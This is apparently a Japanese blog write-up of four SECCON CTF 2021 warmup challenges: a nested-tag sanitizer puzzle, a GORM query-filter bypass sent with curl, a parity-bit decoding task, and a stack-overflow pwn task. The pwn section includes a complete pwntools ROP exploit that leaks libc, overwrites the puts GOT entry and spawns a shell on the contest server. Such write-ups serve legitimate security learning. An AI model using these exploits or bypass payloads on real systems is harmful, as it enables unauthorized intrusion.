2021/12/11 14:00 〜 2021/12/12 14:00 (JST) で行われた SECCON CTF に参加しました。予定があったので土曜日しか参加できませんでしたが、warmupを4問解きました。(warmup しか解けなくてつらい)
crypto
sage なんもわからん。
misc
s/<script>//gi (95pts, 115 solves)
Can you figure out why
s/<script>//gi
is insufficient for sanitizing? This can be bypassed with<scr<script>ipt>
.Remove
<script>
(case insensitive) from the input until the input contains no<script>
.Note that flag format is
SECCON{[\x20-\x7e]+}
, which means that the flag may contains < or > as the following examples.Sample Input 1:
S3CC0N{dum<scr<script>ipt>my}
Sample Output 1:
S3CC0N{dummy}
Sample Input 2 (small.txt):
S3CC0N{dumm<scrIpT>y_flag>_<_pt>>PT><<SCr<S<<SC<SCRIpT><scRiPT>Ript>sCr<Scri<...
Sample Output 2:
S3CC0N{dummy_flag>_<_pt>>PT><sCRIp<scr<scr<scr!pt>ipt>ipt>}
flag.tar.gz eeebd12d261e75268a178b6090582cc91c95856a
大文字小文字を気にせずに、再帰的に <script>
を取り除くことができればいいらしい。添付ファイルを展開すると flag.txt
と small.txt
が得られた。
$ wc -c flag.txt small.txt
67108968 flag.txt
3276 small.txt
67112244 total
flag.txt
は 6000万文字オーバー。このテキストに何度も置換を行うのは確かに現実的ではない。ジャンルに ppc とある通り、何らかの工夫をして <script>
の除去を行うプログラムを作る。
初めに考えたポイントは以下の通り。
- 置換対象は
<
で始まり、>
で終わる -
<scr<script>ipt>
のようにネストすることがある
ファイルの先頭から1文字ずつ見ていき、ネストレベルごとに配列に分けて、<
にヒットしたら配列のインデックスを1つ上げ、>
にヒットしたら <script>
に一致するかを判定しつつ、配列のインデックスを1つ下げるという方法を取れば、うまく除去できるのではないかと考えた。
small.txt
を使ってプログラムを確認し、正しい回答と一致したプログラムが出来たら flag.txt
にかけたところ、回答が得られた。
solver.py
txt = open('./flag.txt').read()
table = ["" for _ in range(5000000)]
cnt: int = 0
for i, s in enumerate(txt):
if s == '<':
cnt += 1
table[cnt] += s
if s == '>' and cnt > 0:
if table[cnt].lower() != '<script>':
table[cnt-1] += table[cnt]
table[cnt] = ''
cnt -= 1
if i % 10000 == 0:
print(f'\r{i}', end='', flush=True)
ans = ''
for s in table:
if s:
ans += s
else:
break
print()
print(ans)
$ python3 solver.py
67100000
SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}
Python しかまともに書けないので処理時間が心配だったが、20秒程度で答えが求まって良かった。メモリは400MBくらい食っていたが、競プロみたいな制限はないので問題なし。
ちなみに range(1000000)
でやったら配列足りなくて落ちたので、100万ネスト以上ある模様。
SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}
web
Vulnerabilities (103pts, 94 solves)
How many vulnerabilities do you know?
vulnerabilities.tar.gz f21b37dbe4f4573b59220a4f8dad139f4eb955f0
Go で作られたサイト。脆弱性をリストから選ぶとそのイメージを表示してくれるアプリケーションらしい。
ソースコードを見ると、脆弱性の一覧は SQLite の DB で管理されており、フラグはその最後に挿入されていた。GET で脆弱性の一覧を取得する際、フラグだけ出力しないようになっている。
// Return a list of vulnerability names
// {"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
r.GET("/api/vulnerabilities", func(c *gin.Context) {
var vulns []Vulnerability
if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
c.JSON(400, gin.H{"Error": "DB error"})
return
}
var names []string
for _, vuln := range vulns {
names = append(names, vuln.Name)
}
c.JSON(200, gin.H{"Vulnerabilities": names})
})
ユーザの入力は POST で受け付けており、Name
属性を含む JSON 形式で送信する必要があると分かった。
// Return details of the vulnerability
// {"Logo": "???.png", "URL": "https://..."}
r.POST("/api/vulnerability", func(c *gin.Context) {
// Validate the parameter
var json map[string]interface{}
if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
c.JSON(400, gin.H{"Error": "JSON error 1"})
return
}
if name, ok := json["Name"]; !ok || name == "" || name == nil {
c.JSON(400, gin.H{"Error": "no \"Name\""})
return
}
// Get details of the vulnerability
var query Vulnerability
if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
c.JSON(400, gin.H{"Error": "JSON error 2"})
return
}
var vuln Vulnerability
if err := db.Where(&query).First(&vuln).Error; err != nil {
c.JSON(404, gin.H{"Error": "not found"})
return
}
c.JSON(200, gin.H{
"Logo": vuln.Logo,
"URL": vuln.URL,
})
})
DB へのアクセスは gorm というフレームワーク?(ライブラリ?)が使用されていると分かる。データベースへのアクセスは db.Where
の部分で Where
というメソッドを使って呼び出しているので、この部分を調べてみる。
gorm where
とかでググると以下のページがヒットした。今回は構造体が指定されているので、この部分になる。
ここで注意書きを見ると次のようなことが書かれている。
注 構造体を使ってクエリを実行するとき、GORMは非ゼロ値なフィールドのみを利用します。つまり、フィールドの値が 0, '', false または他の ゼロ値の場合、 クエリ条件の作成に使用されません。
つまり、Name
を空文字や false
、null
などにできれば、その条件を無視できると分かる。しかし、ソースコード中では空文字か null
である場合は no "Name"
を返すようになっているので、簡単ではないようだ。また仮に Name
を空にできたとしても、フラグを指定することはできないため、別のアプローチが必要になる。
さらにソースコードを眺めていると、以下のところで目が止まった。
type Vulnerability struct {
gorm.Model
Name string
Logo string
URL string
}
ユーザの入力である query
は、この構造体の形式に合わないと受け入れてもらえない。ここで一番上の gorm.Model
というのが気になった。そこでこれについてググってみると、以下のページにたどり着いた。
これまた公式ドキュメントだが、gorm.Model
を入れると ID
などの構造体が含まれるようになるということらしい。つまり Vulnerability
の構造体は以下と等価になる。
type Vulnerability struct {
ID uint `gorm:"primaryKey"`
CreatedAt time.Time
UpdatedAt time.Time
DeletedAt gorm.DeletedAt `gorm:"index"`
Name string
Logo string
URL string
}
ここで試しに、ID
というキーも含めて API を叩いてみた。
$ curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -XPOST -H 'Content-Type: application/json' -d '{"ID":1,"Name":"Heartbleed"}'
{"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}
$ curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -XPOST -H 'Content-Type: application/json' -d '{"ID":2,"Name":"Heartbleed"}'
{"Error":"not found"}
ID=1, Name="Heartbleed"
とした時は結果が返ってきたが、ID=2, Name="Heartbleed"
とすると結果が返ってこなかった。これによって Heartbleed の ID
は 1
であることと、ID
のキーによって DB のクエリを操作できることが分かった。
ここまでを整理すると、Name
を空文字などにした上で、ID=14
を呼び出せればフラグが得られそうだ。ふと、SECCON Beginners CTF 2021 で出題された、同じような問題を思い出した。Name
のキーを複数入れたら、不具合を起こさないかと思い実験していたら、以下のクエリでフラグが得られた。
$ curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -XPOST -H 'Content-Type: application/json' -d '{"ID":14,"Name":"AAA","name":""}'
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
どうやら小文字にしたのが良かったらしい。そういえば確かに DB のカラム名は大文字小文字は無視されてたっけ。
SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}
reversing
currupted flag (130pts, 55 solves)
It looks like some bits of the flag are corrupted.
corrupted_flag.tar.gz c1d9cff47b1ae816609c93a072b09ef0561b7e96
添付ファイルを展開すると、corrupt
と flag.txt.enc
の2つのファイルが得られた。corrupt
が 64bit の ELF バイナリだったので、Ghidra でデコンパイルした。
出できたコードを読んだが、頭こんがらがったので、Python でそれっぽく書き直した。
それっぽい Python コード
def corrupt(flag: str):
length = len(flag)
size = ((length*7) // 4) + 1
data = bytearray(length * 14)
offset = 0
if length:
for c in flag:
for i in [1, 5]:
ascii = ord(c)
b2 = ascii >> (i - 1)
data[offset + 0] = b2 & 1 # 最下位ビット
b3 = ascii >> i
b4 = b2 ^ b3
data[offset + 1] = b3 & 1 # 下から2番目
b3 = ascii >> (i + 1)
data[offset + 2] = b3 & 1 # 下から3番目
data[offset + 3] = (b4 ^ b3) ^ 1 # .111 の XOR
b1 = ascii >> (i + 2)
data[offset + 4] = b1 & 1 # 下から4番目
data[offset + 5] = (b4 ^ b1) & 1 # 1.11 の XOR
data[offset + 6] = (b3 ^ b2 ^ b1) & 1 # 11.1 の XOR
offset += 7
# ランダムで1つだけひっくり返すかもしれない
offset += 14
もう一つフェーズがあるが、そっちは書き直すのが面倒になって書かなかった。ざっくりとした処理は次の通り。
- 入力サイズの14倍のサイズを確保
- 入力を1文字ずつ ASCII コード値に直し、14個の配列に対して次の処理を行う
- 下位4ビットに分ける
- 1番目に最下位ビット (0 or 1)
- 2番目に下から2番目のビット (0 or 1)
- 3番目に下から3番目のビット (0 or 1)
- 4番目に1,2,3のXOR (0 or 1)
- 5番目に下から4番目のビット (0 or 1)
- 6番目に1,2,5のXOR (0 or 1)
- 7番目に1,3,5のXOR (0 or 1)
- ランダムで1つだけ反転 (反転しない場合もある)
- 上位4ビットで同じ操作を実施
- 出来上がった 0 と 1 の羅列を8個ずつに分けて、逆順にしてから16進数(1バイト)に戻す
文字で説明するのは難しいが、ようは7ビット中1ビットだけ反転する可能性があり、4ビットはそのままの値、残りの3ビットがパリティビットのようなものになっている。
処理が分かれば後は逆順に復元すればいいので、スクリプトを書いて実行したらフラグが得られた。
solver.py
enc = open('./flag.txt.enc.org', 'rb').read()
bits = ''
for b in enc:
bits += f'{b:08b}'[::-1]
bits = [bits[i*7:i*7+7] for i in range(len(bits) // 7)]
def fix_parity(data: str) -> int:
assert len(data) == 7
bits = list(map(int, (data[4], data[2], data[1], data[0])))
correct = list(map(int, (data[3], data[5], data[6])))
parities = (bits[1]^bits[2]^bits[3], bits[0]^bits[2]^bits[3], bits[0]^bits[1]^bits[3])
if correct[0] != parities[0] and correct[1] != parities[1] and correct[2] != parities[2]:
bits[3] ^= 1
elif correct[0] == parities[0] and correct[1] != parities[1] and correct[2] != parities[2]:
bits[0] ^= 1
elif correct[0] != parities[0] and correct[1] == parities[1] and correct[2] != parities[2]:
bits[1] ^= 1
elif correct[0] != parities[0] and correct[1] != parities[1] and correct[2] == parities[2]:
bits[2] ^= 1
return int(''.join(map(str, bits)), 2)
for i in range(len(bits) // 2):
lb = fix_parity(bits[i*2])
hb = fix_parity(bits[i*2+1])
b = (hb << 4) + lb
print(chr(b), end='', flush=True)
print()
$ python3 solver.py
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}
パリティビットを修復する良いプログラムがわからなかったので、ゴリ押し暴力のスクリプトになってしまった。
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}
pwnable
Average Calculator (129pts, 56 solves)
Average is the best representative value!
average.tar.gz f95d7e7e67267ae40191cd69bbb56167b70a6852
nc average.quals.seccon.jp 1234
ソースコードがあってありがたい。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
long long n, i;
long long A[16];
long long sum, average;
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("n: ");
if (scanf("%lld", &n)!=1)
exit(0);
for (i=0; i<n; i++)
{
printf("A[%lld]: ", i);
if (scanf("%lld", &A[i])!=1)
exit(0);
// prevent integer overflow in summation
if (A[i]<-123456789LL || 123456789LL<A[i])
{
printf("too large\n");
exit(0);
}
}
sum = 0;
for (i=0; i<n; i++)
sum += A[i];
average = (sum+n/2)/n;
printf("Average = %lld\n", average);
}
脆弱性は自明で、A[16]
と16個分の配列しか確保していないところに、n
をそれ以上指定すると範囲外書き込みができる。スタックの高位のアドレスをいくらでも書き換えられるので、ROP ができるはず。
しかし、テストで動かしてみると途中で落ちてしまった。
$ ./average
n: 20
A[0]: 0
(snip)
A[16]: 0
[1] 1777975 floating point exception (core dumped) ./average
よくわからないままとりあえず GDB で確認してみると、どうやら17番目に n
の変数が入っているようで、ここを 0
に書き換えてしまったためにエラーとなったようだ。同様に20番目には i
が格納されており、リターンアドレスが格納されているのは 22番目ということが分かった。
あとは n
と i
に注意しながら ROP するだけと思っていたが、Libc のアドレスを取ったあとで詰まった。
// prevent integer overflow in summation
if (A[i]<-123456789LL || 123456789LL<A[i])
{
printf("too large\n");
exit(0);
}
見逃してた… 今回は system
のアドレスや One gadget のアドレスを直接スタックに積もうとしても、これで引っかかりできない。そこで scanf('%lld', &hoge)
の部分を使って、puts
などの GOT を書き換えて、そこに飛ばすようにすることでシェルを取る方針を取った。
プログラムが悪いのか One gadget が動作しなかったので、/bin/sh
を .bss セクションに書き込んで、そのアドレスを rdi にセットしてから system
を呼んだ。
exploit.py
from pwn import *
BIN = './average'
HOST = 'average.quals.seccon.jp'
PORT = 1234
context.binary = BIN
elf = ELF(BIN)
libc = ELF('./libc.so.6', checksec=False)
# p = process(BIN)
p = remote(HOST, PORT)
def play(n: int):
p.sendlineafter(b': ', str(n).encode())
# input n
n = 16+5
play(n+4)
# fill A
for _ in range(16):
play(0)
# input to n
play(n+4)
# dummy
play(0)
play(0)
# input to i
play(19)
# dummy
play(0)
# ROP start!
rop_ret = 0x0040101a
rop_rsi_r15 = 0x004013a1
rop_rdi = 0x004013a3
play(rop_rdi)
play(elf.got.puts)
play(elf.plt.puts)
play(elf.sym.main)
# Get LIBC address
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leak: {hex(leak)}')
ofs_puts = libc.sym.puts
libc_base = leak - ofs_puts
log.info(f'Libc: {libc_base:#x}')
# second try
play(n+16)
for _ in range(16):
play(0)
play(n+16)
play(0)
play(0)
play(19)
play(0)
# ROP start!
rop_one_gadget = libc_base + 0xdf73c
system = libc_base + libc.sym.system
bss = elf.bss() + 0x80
str_lld = next(elf.search(b'%lld'))
play(rop_rsi_r15)
play(bss)
play(0)
play(rop_rdi)
play(str_lld)
play(elf.plt.__isoc99_scanf)
play(rop_rdi)
play(str_lld)
play(rop_rsi_r15)
play(elf.got.puts)
play(0)
play(elf.plt.__isoc99_scanf)
play(rop_rdi)
play(bss)
play(rop_ret)
play(elf.plt.puts)
# log.info(f'One gadget: {rop_one_gadget}')
bin_sh = u64(b'/bin/sh\0')
log.info(f'/bin/sh: {bin_sh}')
log.info(f'system: {system}')
p.recvline()
p.sendline(str(bin_sh).encode())
p.sendline(str(system).encode())
p.interactive()
$ python3 exploit.py
[*] 'seccon2021/pwn/average/average'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to average.quals.seccon.jp on port 1234: Done
[*] Leak: 0x7fc7e0e3ed90
[*] Libc: 0x7fc7e0dbe000
[*] /bin/sh: 29400045130965551
[*] system: 140496448054208
[*] Switching to interactive mode
$ ls
average
average.sh
flag.txt
$ cat fl*
SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}
/bin/sh
を入れるところ、リトルエンディアンとビッグエンディアンが逆になっていて一生分の時間を溶かした。
SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}
感想
普段積極的にCTFに参加している kusano氏 や kurenaif氏 が作問者になっていてテンション上がりました(いつも Writeup でお世話になっております)。時間取れればもっと解きたかったですが、warmup も解きごたえがあって楽しかったです。
大会運営に携わった皆様、本当にお疲れさまでした。ありがとうございました。